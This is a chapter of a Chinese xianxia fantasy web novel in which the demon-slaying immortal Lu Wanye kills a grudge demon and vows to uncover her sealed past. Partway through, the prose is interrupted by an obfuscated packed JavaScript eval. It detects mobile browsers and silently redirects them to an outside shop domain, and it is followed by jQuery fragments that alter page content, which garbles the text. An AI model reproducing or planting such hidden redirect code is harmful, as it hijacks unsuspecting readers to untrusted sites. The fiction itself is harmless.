永夜偏殿,鬼气浸骨。
铅灰月色被厚重黑雾死死裹住,仅漏下几缕残光,堪堪照见殿内满地干涸黑血,腥腐气混杂着妖祟独有的幽绿瘴气,黏腻地浮在空气里,吸一口都像吞了淬毒的冰碴。
殿梁蛛网密布,尘埃落满神像,神像面目早已被妖祟啃噬模糊,只剩残缺的轮廓,在阴影里似笑非笑,透着说不出的诡异。
这里是天界遗弃的荒殿,也是妖族暗线藏于上界的缺口。
鹿挽叶就立在这片死寂与腐臭中央。
一身素白仙袍早已被污血浸透,黑红斑驳,紧贴着纤细却紧绷的脊背,勾勒出冷硬如刃的线条。
她抬眼,眼尾天生上挑,是一双勾魂夺魄的桃杏眼,本该是潋滟生姿的模样,此刻却覆着一层浓稠如浆的血色,瞳孔缩成一点,里面翻涌着不属于仙者的、滚烫而暴戾的嗜血。
“嗤——”
短刀破风,锐响刺破死寂。
寒铁短刀裹挟着破风戾气,直直钉入殿内石壁,深没至柄。石墙骤然崩裂,蛛网般的裂痕顺着刀刃蔓延,碎石簌簌滚落,砸在血污里,发出沉闷的声响。
被钉住袍角的妖祟浑身僵死,枯瘦的四肢骤然抽搐,乌青的皮肤下有黑筋暴起,像无数毒虫在皮下蠕动。
它是千年怨妖,吸食上界散仙神魂为生,手段阴毒诡谲,往日里哪怕是天界神将亲至,也需费一番手脚。
可此刻,它怕了。
不是怕刀,不是怕伤,是怕眼前这个女人。
天界无人不知——鹿挽叶,是一个没有过往的仙。
无根,无籍,无生辰,无修行来路。
数万年前凭空出现在南天门,神魂残缺,记忆全无,被天帝随手封了个“除妖仙使”的虚名,成了天界一把召之即来、挥之即去的屠妖利刃。
没人教她修行,没人护她神魂,她唯一的本事,就是骨子里天生带着的、近乎妖物的凶煞。
仙骨是真的,仙力是真的,可内里封着的,是连天界众仙都忌惮的疯戾与阴翳。
“咯咯……仙使大人……”妖祟喉间挤出破风般的声响,幽绿的眼瞳里盛满恐惧,枯手拼命挣扎,想扯回被钉死的袍角,“你我无冤无仇……天界派你屠我,不过是借刀杀人!你不过是他们的一条狗——”
话音未落。
鹿挽叶动了。
没有仙诀,没有法印,甚至没有半点仙者该有的起手式。
她像一头挣脱枷锁的凶兽,身形鬼魅般窜出,衣摆带起腥风,右手反手抽出第二把短刀,左手五指死死攥住石壁刀柄,骨节泛白,力道蛮横得几乎要捏碎寒铁。
两道寒芒骤然炸开,不是仙气凛然的剑光,是染了血污、浸了戾气的冷刃,森寒刺骨,带着碾碎血肉的欲望。
妖祟指甲暴涨数寸,乌青毒甲泛着幽绿鬼火,携着蚀骨瘴气直劈她面门。
鹿挽叶不闪不避。
尖锐毒甲狠狠刮过她右侧颧骨,皮肉当场翻卷撕裂,深可见骨。滚烫的鲜血瞬间涌出,顺着下颌滴落,砸在地上积起的黑血里,溅起细小的血花。
剧痛钻骨。
她却笑了。
唇角缓缓勾起一抹残忍又天真的弧度,笑得近乎撕裂唇角,眼底血光愈发滚烫,像是疼痛撬开了她神魂深处被封印的恶。
越痛,越清醒。
越流血,越兴奋。
“狗?”她轻声重复,声音又轻又冷,带着少年般纯粹的恶意,“那你见过,会咬断主人喉咙的狗吗?”
话音落,左手猛力抽刀。
石屑崩飞,双刀交叉劈斩,一刀封喉,一刀剜核,招招奔着死路而去,没有半分仙者的慈悲,只有屠戮的快感。
骨肉撕裂的闷响骤然炸响,黏腻又刺耳。
妖祟两条枯臂自手肘齐齐断裂,漆黑腥臭的妖血喷涌而出,尽数泼洒在鹿挽叶身上,将她素白的衣袍染得污浊不堪。
断臂落地,还在不住抽搐,幽绿妖气顺着断口疯狂外泄,瘴气浓得几乎凝成实质。
妖祟发出不似人声的凄厉惨叫,刺耳的音波震得殿宇梁柱嗡嗡作响,它踉跄转身,疯了一样朝殿门逃窜——那是它拼尽本命妖力也要逃出去的生路。
只要踏出这道门,便能借地气遁回妖族,伺机卷土重来。
三步。
只差三步。
鹿挽叶静静立在血雾中央,微微歪头,像在看一只挣扎待死的蝼蚁。
指尖轻轻一振。
双刀应声脱手,破空之声凌厉刺耳。
一前一后,精准钉穿它双膝。
“噗通——”
庞大妖躯重重砸在血泊里,四肢尽废,妖血漫过四肢,将它牢牢黏在原地。咫尺生门,终是无望。
鹿挽叶缓步走近,衣摆扫过粘稠血污,每一步落下,都像踩在妖祟狂跳的心脏上。
月光把她的影子拉得颀长、扭曲,像一尊自九幽爬上来的煞神,而非天界仙使。
她俯身,垂眸。
脸上黑血半干半凝,颧骨伤口翻卷渗血,一滴血珠自下颌坠落,砸在妖祟怨毒的脸上。
“跑啊。”
语气软得像哄稚童,眼底却是一片冰封的寒潭,没有半分温度,“怎么不跑了?你不是说,我是天界的狗么?”
妖祟目眦欲裂,怨毒与绝望彻底冲垮理智,断臂处骤然爆发出刺目幽绿妖火——本命妖核自爆,同归于尽。
毁灭的力量瞬间席卷整座偏殿,灼热的气浪几乎要将神魂灼穿。
就在火光吞噬一切的刹那,一点莹白微光自殿梁骤坠,如流星撞入妖火中心。
轰然巨响被生生掐断,狂暴的妖力骤然收拢,只余下一声沉闷震响,震得人耳膜生疼,神魂发麻。
烟尘翻涌,黑雾缭绕。
一团巴掌大的绿色小精灵踉跄跌落在鹿挽叶肩头,翅膀微微颤抖,小胸脯剧烈起伏,带着哭腔的喘息,声音发颤又后怕:
“鹿挽叶!你疯了!刚才那一下,你神魂都要被妖力炸碎了!”
它是叶子,是她唯一的伴生精灵,是数万年来,唯一一个守着她、陪着她的活物,也是唯一能牵制她神魂凶戾的枷锁。
鹿挽叶缓缓垂眸,瞥了眼地上渐渐消散的黑灰。
眼底翻涌的血色与暴戾,才如同潮水般缓缓退去,只剩下一片死寂的冷意,深不见底。
她没有半分劫后余生的庆幸,只是缓缓蹲下,指尖捻起灰烬里一片绣着半朵残花的玄色衣料。
布料上萦绕着一缕极淡、极诡异的妖气,不属于眼前这只怨妖。
她指尖摩挲着那半朵残花,指腹沾着妖血,动作缓慢又冷静。
“躯壳死了。”她声音平淡,听不出喜怒,“妖核借残魂遁走,去往妖族腹地。”
天界派她来,名为除妖,实则是借她的手,探查妖族暗中渗透上界的脉络。
而她,不过是一把用完即弃的刀。
起身,拔刀,擦血,归鞘。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17950773|214164||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
动作利落冷漠,不带一丝情绪。
她抬手,粗暴地抹过颧骨的伤口,将翻卷的皮肉狠狠刮开,鲜血再次汹涌涌出,她却恍若未觉,仿佛痛觉早已和神魂剥离。
叶子急得在她肩头跳脚,翅膀拍得嗡嗡作响,又气又心疼:
“你能不能爱惜一下自己?!你神魂本就残缺,再这么失控,迟早有一天被戾气彻底吞噬,连轮回都入不了!”
鹿挽叶身形微顿,眸色有一瞬极深的恍惚。
那是失控过后,神魂短暂的空洞。
方才那一刻,她不是在除妖。
她是在发泄。
发泄数万年来无根无凭的茫然,发泄被天界当作利刃肆意差遣的怨怼,发泄神魂深处那股与生俱来、连自己都控制不住的恶。
“被妖祟戾气牵动罢了。”她淡淡开口,语气没有波澜,“无妨。”
“是牵动吗?”叶子飞到她眼前,小小的身子带着怒气,眼眶却红了,“是你骨子里本来就有这股煞性!鹿挽叶,你明明什么都不记得,却比任何妖都狠,比任何神都冷——”
它话说到一半,又硬生生咽了回去。
它不敢逼她。
它怕逼急了,那道好不容易被压住的疯戾,再次破体而出。
叶子叹气,小手覆上她狰狞的伤口,柔和微光缓缓流淌,一边治愈,一边小声呢喃:
“要是你能想起以前的事就好了……你到底是谁?为什么仙骨里,会封着这么重的杀业?天界那群老东西到底在瞒你什么?”
这句话,像一根细针,轻轻扎进鹿挽叶死寂的心底。
她是谁?
她不知道。
数万年前在南天门醒来,浑身是伤,神魂破碎,记忆空白。天帝一句“无名无姓,赐名挽叶,任除妖仙使”,便定了她往后万年的命运。
她是天界的一把刀,刀不需要有过往,不需要有情绪,只需要听话,只需要屠妖。
可只有她自己知道——
每一次除妖,每一次见血,她神魂深处都会有什么东西在苏醒、在叫嚣、在挣扎。
那是不属于仙,也不属于妖的东西。
是她真正的过往,被刻意封印的罪孽。
鹿挽叶垂眸,指尖轻轻碰了碰叶子颤抖的翅膀,眼底掠过一丝转瞬即逝的柔软,快得抓不住。
很快,又被彻骨的冷戾覆盖。
殿外夜风狂啸灌入,裹挟着浓重的腥甜,还有黑暗深处,无数细碎、窸窣的蠕动声。
像万千妖祟蛰伏暗处,磨爪舔血,正盯着这处偏殿。
鹿挽叶抬眼,望向门外浓稠如墨的夜色。
月光勾勒出她清冷锋利的侧脸,桃杏眼恢复了清透色泽,可深处依旧藏着化不开的阴翳与杀意。
她攥紧腰间刀柄,指节青白,骨节用力到微微颤抖,未发泄干净的杀欲,仍在骨血里叫嚣。
“妖祟逃了,线就不会断。”她缓缓开口,声音冷冽而笃定,带着一股不达目的誓不罢休的狠戾,“天界想看妖族的底,那我就亲手,把这层底,一层层掀给他们看。”
顿了顿,她唇角勾起一抹极淡、极危险的笑。
“顺便——”
“也找找,我自己的底。”
她转身,素白衣袍在血风里猎猎作响,背影纤细,却如山岳般冷硬,像一柄即将出鞘、无人能挡的煞刃。
“走了,叶子。”
“猎杀,才刚刚开始。”